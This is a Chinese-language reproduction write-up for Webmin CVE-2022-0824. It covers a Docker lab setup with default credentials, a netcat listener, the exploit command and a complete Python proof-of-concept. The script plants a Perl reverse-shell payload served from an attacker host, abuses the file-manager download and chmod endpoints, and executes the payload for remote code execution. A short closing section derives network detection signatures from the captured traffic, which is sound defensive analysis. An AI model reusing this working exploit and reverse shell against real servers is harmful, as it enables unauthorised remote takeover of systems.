简介
Webmin是功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。Webmin让您能够在远程使用支持HTTPS (SSL 上的 HTTP)协议的 Web 浏览器通过 Web界面管理您的主机。
Webmin是一个功能强大且灵活的基于 Web 的服务器管理控制面板,适用于类Unix系统。Webmin允许用户配置操作系统内部,例如用户、磁盘配额、服务或配置文件,以及修改和控制开源应用程序,例如Apache HTTPServer、PHP或MySQL。
漏洞概述
在 Webmin v1.984 中,影响文件管理器模块,任何没有文件管理器模块访问权限的经过身份验证的低权限用户都可以与文件管理器功能交互,例如从远程 URL 下载文件和更改文件权限 (chmod)。通过在文件管理器中链接这些功能,可以通过精心制作的 .cgi 文件实现远程代码执行。
影响版本
Webmin Webmin < Webmin Webmin1.990 //1.990版本之前均受影响
环境搭建
在kali中使用docker进行搭建
拉取漏洞镜像
docker pull vulfocus/webmin_cve-2022-0824:latest
启动漏洞环境
docker run -itd -p 10000:10000 -d vulfocus/webmin_cve-2022-0824
访问地址127.0.0.1:10000
账户: root 密码: password
漏洞复现
攻击机:192.168.42.144
靶机:192.168.42.128
攻击机监听端口9999,准备获取反弹shell,如图1所示
nc -lvp 9999
图1
POC下载地址
https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell
执行POC
python3 123.py -t http://192.168.42.128:10000 -c root:password -LS 192.168.42.144:9090 -L 192.168.42.144 -P 9999
结果如图2所示,攻击成功,反弹回shell
图2
POC代码
#!/usr/bin/python3
"""
Coded by: @faisalfs10x
GitHub: https://github.com/faisalfs10x
Reference: https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/
"""
import requests
import urllib3
import argparse
import os
import time
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TGREEN = '\033[32m'
TRED = '\033[31m'
TCYAN = '\033[36m'
TSHELL = '\033[32;1m'
ENDC = '\033[m'
class Exploit(object):
def __init__(self, target, username, password, py3http_server, pyhttp_port, upload_path, callback_ip, callback_port, fname):
self.target = target
self.username = username
self.password = password
self.py3http_server = py3http_server
self.pyhttp_port = pyhttp_port
self.upload_path = upload_path
self.callback_ip = callback_ip
self.callback_port = callback_port
self.fname = fname
#self.proxies = proxies
self.s = requests.Session()
def gen_payload(self):
payload = ('''perl -e 'use Socket;$i="''' + self.callback_ip + '''";$p=''' + self.callback_port + ''';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};' ''')
print(TCYAN + f"\n[+] Generating payload to {self.fname} in current directory", ENDC)
f = open(f"{self.fname}", "w")
f.write(payload)
f.close()
def login(self):
login_url = self.target + "/session_login.cgi"
cookies = { "redirect": "1", "testing": "1", "PHPSESSID": "" }
data = { 'user' : self.username, 'pass' : self.password }
try:
r = self.s.post(login_url, data=data, cookies=cookies, verify=False, allow_redirects=True, timeout=10)
success_message = 'System hostname'
if success_message in r.text:
print(TGREEN + "[+] Login Successful", ENDC)
else:
print(TRED +"[-] Login Failed", ENDC)
exit()
except requests.Timeout as e:
print(TRED + f"[-] Target: {self.target} is not responding, Connection timed out", ENDC)
exit()
def pyhttp_server(self):
print(f'[+] Attempt to host http.server on {self.pyhttp_port}\n')
os.system(f'(setsid $(which python3) -m http.server {self.pyhttp_port} 0>&1 & ) ') # add 2>/dev/null for clean up
print('[+] Sleep 3 second to ensure http server is up!')
time.sleep(3) # Sleep for 5 seconds to ensure http server is up!
def download_remote_url(self):
download_url = self.target + "/extensions/file-manager/http_download.cgi?module=filemin"
headers = {
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Referer": self.target + "/filemin/?xnavigation=1"
}
data = {
'link': "http://" + self.py3http_server + "/" + self.fname,
'username': '',
'password': '',
'path': self.upload_path
}
r = self.s.post(download_url, data=data, headers=headers, verify=False, allow_redirects=True)
print(f"\n[+] Fetching {self.fname} from http.server {self.py3http_server}")
def modify_permission(self):
modify_perm_url = self.target + "/extensions/file-manager/chmod.cgi?module=filemin&page=1&paginate=30"
headers = { "Referer": self.target + "/filemin/?xnavigation=1" }
data = { "name": self.fname, "perms": "0755", "applyto": "1", "path": self.upload_path }
r = self.s.post(modify_perm_url, data=data, headers=headers, verify=False, allow_redirects=True)
print(f"[+] Modifying permission of {self.fname} to 0755")
def exec_revshell(self):
url = self.target + '/' + self.fname
try:
r = self.s.get(url, verify=False, allow_redirects=True, timeout=3)
except requests.Timeout as e: # check target whether make response in 3s, then it indicates shell has been spawned!
print(TGREEN + f"\n[+] Success: shell spawned to {self.callback_ip} via port {self.callback_port} - XD", ENDC)
print("[+] Shell location: " + url)
else:
print(TRED + f"\n[-] Please setup listener first and try again with: nc -lvp {self.callback_port}", ENDC)
def do_cleanup(self):
print(TCYAN + '\n[+] Cleaning up ')
print(f'[+] Killing: http.server on port {self.pyhttp_port}')
os.system(f'kill -9 $(lsof -t -i:{self.pyhttp_port})')
exit()
def run(self):
self.gen_payload()
self.login()
self.pyhttp_server()
self.download_remote_url()
self.modify_permission()
self.exec_revshell()
self.do_cleanup()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Webmin CVE-2022-0824 Reverse Shell')
parser.add_argument('-t', '--target', type=str, required=True, help=' Target full URL, https://www.webmin.local:10000')
parser.add_argument('-c', '--credential', type=str, required=True, help=' Format, user:user123')
parser.add_argument('-LS', '--py3http_server', type=str, required=True, help=' Http server for serving payload, ex 192.168.8.120:8080')
parser.add_argument('-L', '--callback_ip', type=str, required=True, help=' Callback IP to receive revshell')
parser.add_argument('-P', '--callback_port', type=str, required=True, help=' Callback port to receive revshell')
parser.add_argument("-V",'--version', action='version', version='%(prog)s 1.0')
args = parser.parse_args()
target = args.target
username = args.credential.split(':')[0]
password = args.credential.split(':')[1]
py3http_server = args.py3http_server
pyhttp_port = py3http_server.split(':')[1]
callback_ip = args.callback_ip
callback_port = args.callback_port
upload_path = "/usr/share/webmin"
fname = "revshell.cgi"
pwn = Exploit(target, username, password, py3http_server, pyhttp_port, upload_path, callback_ip, callback_port, fname)
pwn.run()
攻击检测原理
这是一个提权漏洞,首先门槛是有一个用户名及密码才能利用成功,利用这个漏洞只能发送POST请求方式去请求session_login.cgi才能利用成功,如图3,图4所示
图3
图4
之后去请求服务器上的cgi文件,目标机器进行了下载,如图5所示
图5
在这个包中发现攻击机下载路径以及下载后目标机文件保存路径,如图6所示
图6
文件保存之后对文件进行了赋权操作,如图7所示
图7
数据包内容:对下载完成文件进行了赋予执行权,如图8所示
图8
反弹shell的包,如图9所示
图9
观察POC,它需要上传一个Payload后进行加权才能回连,确定判断攻击成功条件为上传成功文件并赋权执行。
分析此数据包,上传路径 poc中固定路径 /extensions/file-manager/chmod.cgi?;UA这一块出现python-requests字段,对比提取发现为固定出现字段;赋权字段为perms=0755(0755为普通权限用户即可赋权,若改为777,需要root权限执行,所以这里设定为不动);文件路径字段为path=, 如图10所示
图10